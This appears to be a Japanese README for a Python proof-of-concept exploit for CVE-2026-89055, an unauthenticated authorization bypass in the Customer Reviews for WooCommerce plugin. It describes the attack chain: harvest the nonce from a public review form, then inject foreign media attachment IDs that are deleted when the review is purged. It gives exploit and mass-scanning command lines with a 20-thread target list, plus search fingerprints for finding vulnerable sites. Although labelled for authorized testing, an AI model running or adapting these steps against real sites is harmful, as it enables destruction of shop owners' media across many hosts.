
PythonによるCVE-2026-89055のチェック/エクスプロイトPoC。これはCustomer Reviews for WooCommerceにおける未認証の認可バイパスであり、攻撃者が任意のMedia Library添付ファイルを削除対象としてリンクできるようにするものです。
Customer Reviews for WooCommerce(customer-reviews-woocommerce / Ivole CusRev)における CVE-2026-89055 の Python 3 PoC。
CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 は、公開されている ローカルレビューフォーム の AJAX ハンドラー(cr_local_forms_submit)において 認可の欠如 の脆弱性があります。カスタマーレビューリンク(注文後メールに記載の /cusrev/{13-hex formId}/)を持つ誰でも、有効な crSubmitNonce を取得し、items[].media 配列に 任意のメディアライブラリアタッチメント ID(商品画像、ロゴ、PDF など)を含むレビューを送信できます。これらの ID はレビューコメントメタに保存され、レビューが 完全に削除(ゴミ箱からの完全削除 / スパムクリーンアップ)されると、delete_review_media_attachments() が各リンクされた ID に対して 所有権チェックなしで wp_delete_attachment() を呼び出します。CVSS 3.1 9.1 Critical(C:N/I:H/A:H)。> 5.120.0 で修正済み。
コミュニティカタログ: https://pocbit.org/pocs/
{site}/cusrev/{formId}/ を開く → crSubmitNonce と商品の data-itemid 値を読み取る。admin-ajax.php に POST: action=cr_local_forms_submit と items[n][media][]=<victim_attachment_id> を送信。ivole_reviews_locl_img / video)を作成/更新。delete_review_media_attachments がリンクされたすべてのアタッチメントファイルを削除。この PoC は、許可されたターゲットに対してステップ 1〜2 を実行します。ステップ 4 はサイト/管理者のライフサイクルイベントです(出力に chain_note として記載)。
pip install -r requirements.txt
Python 3.8+。
# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/
# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
--form-id abc123def4567 --attachment-id 123 \
--verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg
# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet
| ファイル | 意味 |
|---|---|
cve_2026_89055_results.jsonl | ターゲットごとの JSON |
hits.txt | 候補またはエクスプロイトマーカー |
candidates.jsonl | フォームリンクが必要なプラグイン脆弱ホスト |
body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"
許可されたテストのみ。
| プラットフォーム | WordPress + WooCommerce |
| プラグイン | Customer Reviews for WooCommerce |
| 影響を受けるバージョン | ≤ 5.120.0 |
| CWE | CWE-862 (Missing Authorization) |
| 前提条件 | 公開 /cusrev/{formId}/ リンク(ページ上の nonce) |
| 影響 | レビュー削除後の任意の メディア削除(完全性 + 可用性) |